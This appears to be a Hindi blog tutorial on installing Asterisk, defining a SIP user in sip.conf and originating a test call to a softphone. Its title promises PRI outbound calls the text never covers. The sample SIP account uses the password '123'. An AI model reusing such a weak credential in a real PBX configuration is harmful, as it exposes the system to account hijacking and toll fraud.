How to Make outbound calls using PRI line by asterisk

इस पोस्ट  हम Asterisk के बारे में जननेंगे।  Asterisk  ओपन सोर्स फ्रेमवर्क है जिसमे हम कम्युनिकेशन एप्लीकेशन बना सकते है।
मै मानता हूँ की आपको Asterisk  इनस्टॉल करना आता है।  यदि नहीं तोह आप मेरे ब्लॉग में देख सकते है।  अगर आप ubuntu  उसे कर रहे है तो।  आप सिंपल कमांड लिखे।

sudo apt-get install asterisk
  
Asterisk इनस्टॉल करने के बाद आपको एक सिप यूजर बनें होगा ! जो की /etc/asterisk/sip.conf  फाइल में सेटिंग होती है ! उदाहरण के लिए मई एक सिप यूजर बनता हूँ !  sip.conf में ऐड करे और Asterisk  restart  करे।


[rajnish]
username  =  rajnish
secret  = 123
type = friend
host = dynamic
qualify = yes
nat  = yes



यह लाइन sip.conf  फाइल में सबसे  लिखे और सेव कर दे।  फिर आपको Asterisk  restart  करना होगा।

sudo  service asterisk restart

Restart करने के बाद आपको Asterisk terminal  पर ओपन करना होगा।
sudo  asterisk -rvvvvv
 अब आपको soft phone पर Asterisk user  ऐड करना होगा।  




आपको registrar  की जगह Asterisk  की    ip  - address डालना होगा।  इतने सब करते ही आपका सॉफ्ट फ़ोन Register  हो जायेगा।
फिर आपको asterisk  console   खोले  (sudo  asterisk -rvvvvv )  और कॉल के लिए लिखे।
#originate SIP/rajnish application SayNumber 789

Press enter

इतने में   की   देखेंगे की system  आपके soft -phone call   करेगा और  789 नंबर बोलके call  cut  हो  जाएगी।
